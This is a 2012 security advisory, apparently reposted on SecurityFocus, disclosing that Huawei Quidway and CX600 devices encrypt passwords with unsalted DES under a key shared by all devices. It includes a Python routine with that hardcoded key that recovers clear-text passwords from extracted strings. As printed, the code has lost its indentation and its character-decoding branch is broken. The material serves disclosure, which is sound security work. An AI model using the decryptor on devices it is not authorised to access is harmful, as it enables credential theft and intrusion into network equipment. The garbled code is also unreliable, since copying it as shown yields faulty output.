Weak password encryption on Huawei products Nov 13 2012 09:11AM
roberto paleari emaze net
Weak password encryption on Huawei products

Title: Weak password encryption on Huawei products
Release date: 13/11/2012
Credits: Roberto Paleari, Emaze Networks (roberto.paleari (at) emaze (dot) net [email concealed])
Ivan Speziale, Emaze Networks (ivan.speziale (at) emaze (dot) net [email concealed])

Class: Information disclosure

We confirm the presence of this security vulnerability on the following
* Huawei Quidway series
* Huawei CX600

Other models are probably also vulnerable, but they were not checked.

Huawei devices support a weak password encryption algorithm. With this scheme,
passwords are obfuscated and encrypted with DES, using an encryption key shared
among all the affected devices. This encryption scheme does not use any
password salting mechanism. As a consequence, passwords extracted from a
victim's device can be deciphered instantaneously.

A Python procedure that decodes a given password is included below. Upon
termination, procedure decrypt_password() returns the clear-text password.

from Crypto.Cipher import DES

def decode_char(c):
if c == 'a':
r = '?'
r = c
return ord(r) - ord('!')

def ascii_to_binary(s):
assert len(s) == 24

out = [0]*18
i = 0
j = 0

for i in range(0, len(s), 4):
y = decode_char(s[i + 0])
y = (y << 6) & 0xffffff

k = decode_char(s[i + 1])
y = (y | k) & 0xffffff
y = (y << 6) & 0xffffff

k = decode_char(s[i + 2])
y = (y | k) & 0xffffff
y = (y << 6) & 0xffffff

k = decode_char(s[i + 3])
y = (y | k) & 0xffffff

out[j+2] = chr(y & 0xff)
out[j+1] = chr((y>>8) & 0xff)
out[j+0] = chr((y>>16) & 0xff)

j += 3

return "".join(out)

def decrypt_password(p):
r = ascii_to_binary(p)

r = r[:16]

d = DES.new("\x01\x02\x03\x04\x05\x06\x07\x08", DES.MODE_ECB)
r = d.decrypt(r)

return r.rstrip("\x00")

We recommend to store passwords using a proper hashing algorithm, instead of
leveraging symmetric encryption. At the moment, this issue has been addressed
by Huawei with security advisory Huawei-SA-20120827-01-CX600 ("Updated Security
Advisory on the Risk of Password Being Cracked Due to DES Encryption
Algorithm"). Further details are available at the following URL:

Copyright(c) Emaze Networks S.p.A 2012, All rights reserved worldwide.
Permission is hereby granted to redistribute this advisory, providing that no
changes are made and that the copyright notices and disclaimers remain intact.

Emaze Networks S.p.A is not responsible for the misuse of the information
provided in our security advisories. These advisories are a service to the
professional security community. There are NO WARRANTIES with regard to this
information. Any application or distribution of this information constitutes
acceptance AS IS, at the user's own risk. This information is subject to change
without notice.

[ reply ]


Privacy Statement
Copyright 2010, SecurityFocus